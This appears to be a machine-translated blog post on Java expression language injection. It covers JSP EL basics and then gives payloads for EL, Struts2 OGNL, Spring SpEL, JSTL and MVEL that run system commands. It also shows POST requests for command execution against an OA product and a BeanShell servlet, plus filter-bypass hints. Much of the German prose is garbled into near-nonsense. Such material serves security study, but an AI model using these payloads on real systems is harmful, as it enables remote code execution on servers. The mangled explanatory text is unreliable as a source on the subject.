Injektion von Java-Tabellenausdrücken

Sousuke

Java-Middle-Table-Ausdruckstyp Root-Setting-Frame-Division, zu der der EL-Tabellenausdruckstyp jsp-ähnlicher einleitender Wortklang, die Bestimmung des Kopierens und Erneuerns von jsp und seine Entwurfsidee selbst "ECMAScript sum XPath` gehören. Verwenden Sie den EL-Tabellentyp, kann verwendet werden, jsp, Berechnung, Anzahl der Einsätze, Anpassungsmethode, Einsätze usw. Die Grundsprache ist "$ {Variationstabellenausdruck}".

Grundsprache

Die meisten Formulierungsmethoden Towa jsp Es gibt einen großen Unterschied, und es ist ein wenig anders.

获 Tori Änderungsbetrag

<%@ page import="java.util.HashMap" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
    String name = "Kozo";
    request.setAttribute("name",name);

    request.setAttribute("request", "request_name");
    session.setAttribute("session", "session_name");
    pageContext.setAttribute("page", "page_name");
    application.setAttribute("application", "application_name");
    HashMap<String, String> map = new HashMap<>();
    map.put("my-name", "admin");
    request.setAttribute("test", map);
%>
来 Vier einzelne Arbeitsbereiche mittlerer Suchwechselbetrag:${name}
</br>
<%--Aktionsbereich--%>
来 requestScope Arbeitsbereich mittlerer Änderungsbetrag:${requestScope.request}
</br>
来 sessionScope Arbeitsbereich mittel 获 Entfernungsbetrag:${sessionScope.session}
</br>
来 pageScope Arbeitsbereich mittel 获 Entfernungsmenge:${pageScope.page}
</br>
来 applicationScope Arbeitsbereich mittlere Änderungsmenge:${applicationScope.application}
</br>
来 Spezieller Codeänderungsbetrag im Arbeitsbereich:${requestScope.test["my-name"]}

Betriebsmarke

Art Code
Arithmetischer Typ +、-(Dual),*、/、div、%、mod、-(Einheitlich)
逻 辑 Typ and、&&Oder Doppelröhrenschild,!、not
Verwandter Typ ==、eq、!=、ne、<、lt、>、gt、<=、le、>=, Ge. Kann einen anderen Vorabvergleich geben oder einen Typ-, Zeichen-Spieß-Typ-, regulären Typ- oder Gleitkomma-Zeichen-Vorab-Vergleich geben.
Himmel leer Leere Operation Markieren Sie Operation, verfügbar und unentschlossen.
Bedingte Art A ?B :C. Rooting A 赋 值 赋 值 B oder C.

Der Elefant

  1. pageContext
  2. param paramValues
  3. header headerValues
  4. cookie
  5. initParam
  6. Scope-Serie

Funktion

${ns:func(param1, param2, ...)}

Verwenden Sie für die erforderliche Feldnummer für die Anpassung der Tabellenausdrucksformel den eintragsähnlichen Standard "taglib"

Java-Methode zur Vorbereitung

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@taglib prefix="elFunc" uri="http://www.test.com/elFunc" %>
<%
    String name = "Kozo";
    request.setAttribute("name",name);
%>
Anzahl der Anpassungen:${elFunc:elFunc(name)}

页 Oberflächenimport Anpassungsnummer: Hallo 张 3

Verbotene / Verbotene EL-Tabelle

EL-Tabelle für alle Stationen verboten, web.xml

<jsp-config>
    <jsp-property-group>
        <url-pattern>*.jsp</url-pattern>
        <el-ignored>true</el-ignored>
    </jsp-property-group>
</jsp-config>

EL Tabelle verbotener Ausdruck Im JSP-Text können Sie dies tun.

<%@ page isELIgnored="true" %>

EL-Tabellenausdruck zum Verbieten der Anzeige von Wörtern, TRUE-Anzeige verboten, FALSE-Anzeige verboten.

JSP2.0 EL-Tabellenausdruck für Personen mittleren Alters.

Beispiel für ein Oberflächeninjektionsleck

Prinzip: Metropolitan: Alle Tabellenausdrücke oder externe Kopie. Die erste Reihe ist ein trivialer Poc, und danach befindet sie sich unter demselben Stil.

Gemeinsamer POC

${pageContext}
${pageContext.getSession().getServletContext().getClassLoader().getResource("")}
${header}
${applicationScope}
${pageContext.setAttribute("a","".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"calc.exe"))}

Struts2 OGNL

@[Alle Namen (umfassender Verpackungsdurchmesser)]@[Methodenname|Name], Beispiel:
​@java.lang.String@format('foo %s', 'bar')

Beispiel

ActionContext AC = ActionContext.getContext();
String expression = "${(new java.lang.ProcessBuilder('calc')).start()}";
AC.getValueStack().findValue(expression));

Spring SPEL

String expression = "T(java.lang.Runtime).getRuntime().exec(/"calc/")";
String result = parser.parseExpression(expression).getValue().toString();

JSP JSTL_EL

<spring:message text="${/"/".getClass().forName(/"java.lang.Runtime/").getMethod(/"getRuntime/",null).invoke(null,null).exec(/"calc/",null).toString()}">
</spring:message>

Elasticsearch MVEL

String expression = "new java.lang.ProcessBuilder(/"calc/").start();";  
​Boolean result = (Boolean) MVEL.eval(expression, vars);

Minoru OA EL Tischinjektion

[email protected]@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream())

Jemand POST

message=(#[email protected]@DEFAULT_MEMBER_ACCESS).(#w=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter()).(#w.print(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(#parameters.cmd[0]).getInputStream()))).(#w.close())&cmd=whoami

Eine Art der Reduzierung

POST /weaver/bsh.servlet.BshServlet
bsh.script=eval%00("ex"%2b"ec(\\"cmd+/c+calc\\")");&bsh.servlet.captureOutErr=true&bsh.servlet.output=raw

绕 滕

  1. Reflexion
  2. unicode
  3. Acht Voraus-System

Referenz

  1. [Injektion von feinem E-Mobile-Signal](https://github.com/Mr-xn/Penetration_Testing_POC/blob/master/%E6%B3%9B%E5%BE%AEe-mobile%20ognl%E6%B3% A8% E5% 85% A5.md)
  2. https://xz.aliyun.com/t/7692
  3. https://www.jianshu.com/p/14e9af313e93
  4. [Tabelleninjektion](https://misakikata.github.io/2018/09/%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85 % A5 /)

Recommended Posts

Injektion von Java-Tabellenausdrücken
[Java] Lambda-Ausdruck
Java Lambda Ausdruck
Java-Lernen (bedingter Ausdruck)
Java Neutral Lambda Tabellenausdruck 1
Variationen von Java-Lambda-Ausdrücken
Java 8 Lambda-Ausdruck Feature
Java Lambda Ausdruck Memo
Java 8 studieren (Lambda-Ausdruck)
Wieder Java-Lambda-Ausdruck
Zusammenfassung der regulären Ausdrücke von Java
Java fügt PDF eine Tabelle hinzu
[Java] Funktionsschnittstelle / Lambda-Ausdruck
Java8-Stream, Zusammenfassung des Lambda-Ausdrucks
Implementieren Sie einen tabellengesteuerten Test in Java 14
[Java] Schleifenverarbeitung und Tabelle von neunundneunzig
Java Basic Learning Content 9 (Lambda-Ausdruck)
Versuchen Sie einen If-Ausdruck in Java
Java
Was ist ein Lambda-Ausdruck (Java)
Java
Java Agent Actual Anti-Ordering Injection Interne Shell
[Java] [Spring] Spring Boot Das mysteriöse Hamarineta der Abhängigkeitsinjektion
Lassen Sie uns nun den Java-Lambda-Ausdruck rekapitulieren
Spring Dependency Injection mit Java, Kotlin
Java erstellt eine Tabelle in einem Word-Dokument